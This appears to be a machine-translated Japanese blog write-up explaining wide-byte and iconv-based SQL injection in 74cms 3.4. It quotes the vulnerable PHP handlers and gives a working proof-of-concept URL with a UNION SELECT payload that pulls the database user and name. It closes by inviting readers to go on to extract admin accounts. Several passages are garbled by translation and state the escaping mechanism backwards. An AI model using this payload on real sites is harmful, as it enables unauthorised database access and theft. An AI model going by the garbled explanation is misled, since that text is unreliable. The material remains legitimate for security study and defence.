まず、ワイド バイト インジェクションは、MySQL 接続を設定するときのプログラマの誤った設定によって発生することを理解します。この設定は setcharacter_set_client=gbk です。エンコード変換によって引き起こされるウィルインジェクションの脆弱性。具体的な原則は次のとおりです。
1. 通常の状況では、GPC がオンになっている場合、または addslashes 関数を使用して GET または POST によって送信されたパラメーターをフィルター処理する場合、ハッカーが使用する一重引用符 ' は次のようになります。 ';
2 としてエスケープされます。ただし、ワイド バイト インジェクションがある場合、%df%27 を入力すると、最初に前述の一重引用符がエスケープされ、%df%5c%27 になります (%5c はバックスラッシュ) を入力し、データベース内でクエリを実行する前に GBK マルチバイト エンコーディングが使用されるため、中国語の文字エンコーディング範囲内の 2 バイトが 1 つの中国語の文字にエンコードされます。次に、MySQL サーバーはクエリ ステートメントを GBK エンコードします。つまり、%df%5c は漢字「ゆん」に変換されます (注: GBK の漢字エンコード範囲については付録を参照)。一重引用符はエスケープされます。したがって、インジェクションの脆弱性が発生します。
現在では、この問題を解決するために、MySQL 接続は基本的に「setcharacter_set_client=binary」として設定されています。そこで、この記事では、PHP の文字エンコーディングによって引き起こされるインジェクションの問題を紹介します。
このアイデアは FreeBuf から来ています:
http://www.freebuf.com/articles/web/31537.html
この脆弱性は暗雲から来ています:
http://www.wooyun.org/bugs/wooyun-2014-063219
背景を見ると、74cms プログラムの低バージョンを使用していました、バージョン 3.4 (20140310)
①ソース コードはオンラインで見つけることができます。コピーをパッケージ化しました: http://pan.baidu.com/s/1c1mlCru
②それを 74cm に解凍します ( 20140310) ディレクトリにアクセスし、ブラウザで http://localhost/74cms(20140310) にアクセスし、手順に従ってインストールしてください。インストール中に問題が発生した場合は、Baidu または Google を使用してください。 、次の図にアクセスしてください:
ソース コードの構造は比較的明確です。これは主に次の 3 つの部分で構成されています。
index.php は common.inc.php ファイルを導入しました。そして、gpc を処理する関数を見つけました:
if (!empty($_GET)){$_GET = addslashes_deep($_GET);}if (!empty($_POST)){$_POST = addslashes_deep($_POST);}$_COOKIE = addslashes_deep($_COOKIE);$_REQUEST = addslashes_deep($_REQUEST);
ご覧のとおり、サーバー側での GET および POST リクエストの変数の処理は、addslashes によって処理されます。
そしてワイドバイトインジェクションを防ぐために、74cms は MySQL 接続をバイナリ読み取りに設定します。これは /include/mysql.class.php で設定されています。
function connect($dbhost, $dbuser, $dbpw, $dbname = '', $dbcharset = 'gbk', $connect=1){ $func = empty($connect) ? 'mysql_pconnect' : 'mysql_connect'; if(!$this->linkid = @$func($dbhost, $dbuser, $dbpw, true)){ $this->dbshow('Can not connect to Mysql!'); } else { if($this->dbversion() > '4.1'){ mysql_query( "SET NAMES gbk"); if($this->dbversion() > '5.0.1'){ mysql_query("SET sql_mode = ''",$this->linkid); //character_set_client=binary即二进制方式 mysql_query("SET character_set_connection=".$dbcharset.", character_set_results=".$dbcharset.", character_set_client=binary", $this->linkid); } } }
次に php を見てください。で iconv 関数を使用するとどのような結果が生じますか。
分析の挿入:
1. /plus/ajax_user.php に登録します:
elseif ($act=='do_reg'){$captcha=get_cache('captcha');if ($captcha['verify_userreg']=="1"){ $postcaptcha=$_POST['postcaptcha']; if ($captcha['captcha_lang']=="cn" && strcasecmp(QISHI_DBCHARSET,"utf8")!=0) { $postcaptcha=iconv("utf-8",QISHI_DBCHARSET,$postcaptcha); } if (empty($postcaptcha) || empty($_SESSION['imageCaptcha_content']) || strcasecmp($_SESSION['imageCaptcha_content'],$postcaptcha)!=0) { exit("err"); }}require_once(QISHI_ROOT_PATH.'include/fun_user.php');$username = isset($_POST['username'])?trim($_POST['username']):exit("err");$password = isset($_POST['password'])?trim($_POST['password']):exit("err");$member_type = isset($_POST['member_type'])?intval($_POST['member_type']):exit("err");$email = isset($_POST['email'])?trim($_POST['email']):exit("err");if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0){//对注册的名字进行utf-8到GBK的编码转换$username=iconv("utf-8",QISHI_DBCHARSET,$username);$password=iconv("utf-8",QISHI_DBCHARSET,$password);} $register=user_register($username,$password,$member_type,$email);
ここでは Take 「Jin」という単語、その utf-8 エンコーディングは e98ca6、gbk エンコーディングは e55c で、上で述べたように、バックスラッシュは正確に 5c です。
ユーザー名を Jin' に設定すると、まず addlashes 関数または GPC を使用して一重引用符を Jin' にエスケープし、次にここで登録するときに icnov 関数が "jin" を gbk に変換します。エンコーディング、末尾は %e5%5c%5c%27 です。バックスラッシュがエスケープされている (%5c%5c) ため、一重引用符がエスケープされ、インジェクションの脆弱性が発生します。
2. $register=user_register($username,$password,$member_type,$email);
ここでの user_register 関数は /include/fun_user.php にあります。
//检查简历的完成程度//注册会员function user_register($username,$password,$member_type=0,$email,$uc_reg=true){global $db,$timestamp,$_CFG,$online_ip,$QS_pwdhash;$member_type=intval($member_type);//这里是用get_user_inusername函数来判断用户名是否已经存在,我们跟进$ck_username=get_user_inusername($username);$ck_email=get_user_inemail($email);... ...return $insert_id;}
3. /include/fun_user.php の get_user_inusername 関数に従います:
function get_user_inusername($username){global $db;//带入查询,可注入~$sql = "select * from ".table('members')." where username = '{$username}' LIMIT 1";return $db->getone($sql);}
2 番目の分析を挿入します:
plus/ajax_street php の場合:
elseif($act == 'key'){$key=trim($_GET['key']);if (!empty($key)){if (strcasecmp(QISHI_DBCHARSET,"utf8")!=0) //对参数key进行utf-8到GBK编码的转换$key=iconv("utf-8",QISHI_DBCHARSET,$key);//带入查询,可以注入$result = $db->query("select * from ".table('category')." where c_alias='QS_street' AND c_name LIKE '%{$key}%' ");//将查询结果输出到页面中,可回显while($row = $db->fetch_array($result)){ if ($listtype=="li") { $htm.="<li title=\"{$row['c_name']}\" id=\"{$row['c_id']}\">{$row['c_name']}</li>"; } else { $_GET['streetid']=$row['c_id']; $url=url_rewrite('QS_street',$_GET); $htm.="<li><a href=\"{$url}\" title=\"{$row['c_note']}\" class=\"vtip\">{$row['c_name']}</a><span>{$row['stat_jobs']}</span></li>"; };}if (empty($htm)){$htm="<span class=\"noinfo\">没有找到关键字: <span>{$key}</span> 相关道路!</span>";}exit($htm);}}
ここでの分析と検出ページはクエリ結果をエコーし、データベースの機密情報を取得するためにいくつかのユニオン クエリ ステートメントを構築します。
証明するためにインジェクション 2 (エコー付き) を使用します
74cms のカテゴリ テーブルには 9 つのフィールドがあることがわかり、その構造はデータベース ユーザーと関連情報の POC を取得します:
http://localhost/74cms(20140310)/plus/ajax_street.php?act=key&key=%E9%8C%A6%27%20union%20select% 201,2,3 ,user(),5,6,7,database(),9%23
SQL ステートメントを確認すると、クエリ ステートメントにバックスラッシュが含まれていることがわかりました。
最後に、興味のある学生は、引き続き他の管理者アカウントやその他の関連フィールドに関する情報を取得できます。
GBK の中国語文字エンコード範囲を示します:
漢字領域には以下が含まれます:
a GB 2312 漢字領域。それが GBK/2: B0A1-F7FE です。 6763 GB 2312 個の漢字がオリジナルの順序で配置されています。
b. GB 13000.1 漢字領域を拡大します。含まれるもの:
(1) GBK/3: 8140-A0FE。 GB 13000.1 に 6080 の CJK 漢字が含まれています。
(2) GBK/4: AA40-FEA0。 8160 の CJK 漢字と補足漢字が含まれています。 CJK の漢字は UCS コード サイズに従って配置され、最後に「康煕字典」のページ番号/文字位置に従って配置されています。
ご覧のとおり、GBK エンコーディングの 2 つの文字は 1 つの漢字であり、最初の文字は 128 より大きい必要があります。
元のアドレス:
http://www.cnbraid.com/2016/02/28/sql4/